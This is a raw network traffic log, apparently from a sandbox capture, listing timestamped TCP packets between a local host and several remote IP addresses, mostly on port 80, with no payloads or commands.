Dec 24, 2024 14:02:40.012933969 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.012974024 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.013897896 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.013979912 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.014019966 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.014849901 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.015687943 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.015732050 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.015830040 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.015896082 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.015938997 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.016766071 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.016818047 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.016868114 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.016906977 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.017661095 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.017961025 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.083692074 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.083810091 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.083878040 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.084115982 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.084347010 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.084398031 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.084407091 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.085199118 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.085366011 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.085473061 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.085519075 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.086250067 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.086361885 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.086406946 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.087246895 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.087333918 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.087380886 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.088238001 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.088305950 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.088350058 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.089204073 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.089447975 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.089500904 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.090281010 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.090357065 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.090409040 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.091114044 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.091263056 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.091310024 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.092138052 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.092243910 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.092289925 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.093097925 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.093178034 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.093189955 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.093226910 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.094116926 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.094193935 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.094216108 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.095074892 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.095122099 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.095185041 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.096143961 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.096198082 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.096313953 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.097099066 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.097143888 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.097157001 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.097384930 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.097992897 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.098094940 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.098144054 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.099271059 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.099323034 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.099351883 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.099391937 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.099999905 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.100061893 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.100090027 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.100717068 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.100958109 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.101001024 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.101027966 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.101186037 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.101914883 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.101957083 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.102085114 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.102128029 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.102921963 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.102971077 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.103260040 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.103307962 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.103857994 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.103914976 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.103976965 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.104031086 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.105025053 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.105077982 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.105103970 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.105140924 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.105830908 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.105884075 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.162065983 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.162147999 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.162223101 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.162269115 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.162404060 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.162453890 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.162487030 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.162524939 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.163336992 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.163382053 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.163500071 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.163542986 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.164180040 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.164222002 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.164252043 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.164290905 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.164949894 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.164997101 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.165086031 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.165127993 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.165812016 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.165854931 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.165949106 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.165988922 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.166657925 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.166697979 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.166807890 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.166852951 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.167464018 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.167505026 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.167521954 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.167560101 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.168318033 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.168344975 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.168354988 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.168397903 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.421399117 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.541311979 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.813663960 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.813724041 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.813791037 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.813853025 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.814085960 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.814141035 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.814297915 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.814344883 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.814977884 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.815037966 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.815193892 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.815251112 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.815834999 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.815896034 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.815978050 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.816024065 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.816658974 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.816719055 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.816888094 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.816941023 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.817517042 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.817533970 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.817569971 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.817595005 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.818449974 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.818500996 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.818561077 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.818614006 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.819192886 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.819221020 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.819253922 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.819299936 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.820009947 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.820064068 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.820163012 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.820229053 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.820823908 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.820899010 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.820929050 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.820976973 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.821630955 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.821683884 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.821729898 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.821779013 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.822674036 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.822731972 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.822809935 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.822854042 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.823409081 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.823457003 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.823470116 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.823512077 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.824157953 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.824218035 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.824232101 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.824275970 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.825094938 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.825146914 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.825181961 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.825223923 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.825830936 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.825892925 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.825920105 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.825963974 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.826770067 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.826822996 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.826874018 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.826917887 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.827651978 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.827704906 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.827845097 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.827914000 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.828409910 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.828463078 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.828516960 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.828571081 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.829421043 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.829484940 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.829498053 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.829546928 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.830281973 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.830337048 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.830363035 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.830404997 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.831080914 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.831106901 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.831144094 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.831176996 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.831732035 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.831787109 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.831823111 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.831872940 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.832595110 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.832648039 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.832736015 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.832786083 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.833391905 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.833447933 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.833558083 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.833611012 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.834235907 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.834285975 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.834310055 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.834372997 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.835102081 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.835153103 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.835223913 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.835275888 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.835865974 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.835916042 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.890728951 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.890795946 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.890820980 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.890866041 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.891099930 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.891155958 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.891181946 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.891227007 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.891849041 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.891902924 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.892226934 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.892290115 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.892318964 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.892398119 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.893026114 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.893079042 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.893107891 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.893147945 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.893984079 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.894011021 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.894036055 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.894071102 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.894819021 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.894875050 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:41.357085943 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:41.357104063 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:41.476885080 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:41.476902962 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:41.943165064 CET	443	49810	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:41.943262100 CET	49810	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:41.945064068 CET	49810	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:41.945076942 CET	443	49810	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:41.945404053 CET	443	49810	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:41.950884104 CET	49810	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:41.950923920 CET	49810	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:41.950931072 CET	443	49810	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:41.951050043 CET	49810	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:41.991332054 CET	443	49810	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:42.112765074 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:42.112863064 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:42.171530962 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:42.291290998 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:42.486311913 CET	49701	80	192.168.2.6	172.64.149.23
Dec 24, 2024 14:02:42.486354113 CET	49700	80	192.168.2.6	104.18.38.233
Dec 24, 2024 14:02:42.496344090 CET	443	49810	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:42.496634007 CET	443	49810	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:42.496680975 CET	49810	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:42.496722937 CET	49810	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:42.496730089 CET	443	49810	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:42.496746063 CET	49810	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:42.564368010 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:42.564445019 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:42.564505100 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:42.564518929 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:42.564547062 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:42.564558983 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:42.572520018 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:42.606149912 CET	80	49701	172.64.149.23	192.168.2.6
Dec 24, 2024 14:02:42.606229067 CET	49701	80	192.168.2.6	172.64.149.23
Dec 24, 2024 14:02:42.607057095 CET	80	49700	104.18.38.233	192.168.2.6
Dec 24, 2024 14:02:42.607151031 CET	49700	80	192.168.2.6	104.18.38.233
Dec 24, 2024 14:02:42.692008018 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:42.964823008 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:42.964899063 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:43.009423971 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:43.128880978 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:43.604243994 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:43.604301929 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:43.675074100 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:43.675282955 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:43.794965029 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:43.795049906 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:43.795180082 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:43.795192957 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:43.795289993 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:43.795348883 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:43.795413017 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:43.795425892 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:43.795439005 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:43.795461893 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:43.795478106 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:43.795488119 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:43.795514107 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:43.795526981 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:43.795562983 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:43.795576096 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:43.795617104 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:43.795639992 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:43.795661926 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:43.795679092 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:43.795732975 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:43.795746088 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:43.795794964 CET	49787	80	192.168.2.6	185.231.69.191
